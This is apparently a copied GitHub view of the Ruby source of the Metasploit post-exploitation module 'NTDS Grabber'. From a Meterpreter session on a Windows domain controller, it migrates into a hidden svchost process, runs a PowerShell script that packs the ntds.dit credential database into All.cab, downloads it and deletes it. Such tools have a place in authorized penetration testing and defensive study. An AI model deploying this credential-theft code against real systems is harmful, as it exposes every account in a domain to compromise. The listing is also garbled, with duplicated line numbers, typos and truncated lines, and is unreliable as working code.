




Code

Blame

Raw







```
1  ##
2  # This module requires Metasploit: https://metasploit.com/download
3  # Current source: https://github.com/rapid7/metasploit-framework
4  ##
5
6  class MetasploitModule < Msf::Post
7    include Msf::Post::Windows::Powershell
8    include Msf::Post::Windows::Priv
9    include Msf::Post::Windows::Registry
10   include Msf::Post::File
11   include Msf::Post::Common
12
13   def initialize(info = {})
14     super(
15       update_info(
16         info,
17         'Name' => 'NTDS Grabber',
18         'Description' => %q(This module uses a powershell script to obtain a copy of the ntds,dit S
19                               It compresses all these files in a cabinet file called All.cab.),
20         'License' => MSF_LICENSE,
21         'Author' => ['Koen Riepe (koen.riepe@fox-it.com)'],
22         'References' => [''],
23         'Platform' => [ 'win' ],
24         'Arch' => [ 'x86', 'x64' ],
25         'SessionTypes' => [ 'meterpreter' ],
26         'Compat' => {
```

```
27         'Meterpreter' => {
28             'Commands' => %w[
29                 core_migrate
30                 stdapi_railgun_api
31                 stdapi_sys_process_execute
32                 stdapi_sys_process_getpid
33             ]
34         }
35     }
36 )
37 )
38
39     register_options(
40         [
41             OptBool.new('DOWNLOAD', [ true, 'Immediately download the All.cab file', true ]),
42             OptBool.new('CLEANUP', [ true, 'Remove the All.cab file at the end of module execution', tr
43         ],
44         self.class
45     )
46 end
47
48 ✓ def dc_check
49     is_dc_srv = false
50     serviceskey = "HKLM\\SYSTEM\\CurrentControlSet\\Services"
51     if registry_enumkeys(serviceskey).include?("NTDS")
52         if registry_enumkeys("#{serviceskey}\\NTDS").include?("Parameters")
53             is_dc_srv = true
54         end
55     end
56     return is_dc_srv
57 end
58
59 ✓ def task_running(task)
60     session.shell_write("tasklist \n")
61     tasklist = session.shell_read(-1, 10).split("\n")
62     tasklist.each do |prog|
63         if prog.include? task
64             session.shell_close
65             return true
66         end
67     end
68     return false
69 end
70
71 ✓ def check_32_on_64
72     apicall = session.railgun.kernel32.IsWow64Process(-1, 4)["Wow64Process"]
```

```
73     # railgun returns '\x00\x00\x00\x00' if the meterpreter process is 64bits.
74     if apicall == "\x00\x00\x00\x00"
75         migrate = false
76     else
77         migrate = true
78     end
79     return migrate
80 end
81
82 ✓ def get_windows_loc
83     apicall = session.railgun.kernel32.GetEnvironmentVariableA("Windir", 255, 255)["lpBuffer"]
84     windir = apicall.split(":")[0]
85     return windir
86 end
87
88 ✓ def run
89     downloadflag = datastore['DOWNLOAD']
90     cleanupflag = datastore['CLEANUP']
91
92     if is_system?
93         print_good('Running as SYSTEM')
94     else
95         print_error('Not running as SYSTEM, you need to be system to run this module! STOPPING')
96         return
97     end
98
99     if not dc_check
100         print_error('Not running on a domain controller, you need run this module on a domain control
101         return
102     else
103         print_good('Running on a domain controller')
104     end
105
106     if have_powershell?
107         print_good('PowerShell is installed.')
108     else
109         print_error('PowerShell is not installed! STOPPING')
110         return
111     end
112
113     if check_32_on_64
114         print_error('The meterpreter is not the same architecture as the OS! Migrating to process mat
115         windir = get_windows_loc
116         newproc = "#{windir}\\windows\\sysnative\\svchost.exe"
117         if exist?(newproc)
118             nprint status("Starting new x64 process #{newproc}")
```

```
118         print_status( "Starting new net process '#{newproc}' ")
119         pid = session.sys.process.execute(newproc, nil, { 'Hidden' => true, 'Suspended' => true }).
120         print_good("Got pid #{pid}")
121         print_status('Migrating..')
122         session.core.migrate(pid)
123         if pid == session.sys.process.getpid
124             print_good('Success!')
125         else
126             print_error('Migration failed!')
127         end
128     end
129 else
130     print_good('The meterpreter is the same architecture as the OS!')
131 end
132
133 base_script = File.read(File.join(Msf::Config.data_directory, "post", "powershell", "NTDSgrab.p
134 execute_script(base_script)
135 print_status('Powershell Script executed')
136 cabcount = 0
137
138 while cabcount < 2
139     if task_running("makecab.exe")
140         cabcount += 1
141         while cabcount < 2
142             print_status('Creating All.cab')
143             if not task_running("makecab.exe")
144                 cabcount += 1
145                 while not file_exist?("All.cab")
146                     sleep(1)
147                     print_status('Waiting for All.cab')
148                 end
149                 print_good('All.cab should be created in the current working directory')
150             end
151             sleep(1)
152         end
153     end
154     sleep(1)
155 end
156
157 if downloadflag
158     print_status('Downloading All.cab')
159     p1 = store_loot('Cabinet File', 'application/cab', session, read_file("All.cab"), 'All.cab',
160     print_good("All.cab saved in: #{p1}")
161 end
162
163 if cleanupflag
164     print_status('Cleaning up All.cab')
```

```
164         print_status(`Removing All.cab`)
165     begin
166         file_rm('All.cab')
167     rescue
168         print_error('Problem with removing All.cab. Manually check if it\'s still there.')
169     end
170     if not file_exist?("All.cab")
171         print_good('All.cab Removed')
172     else
173         print_error('All.cab was not removed')
174     end
175 end
176 end
177 end
```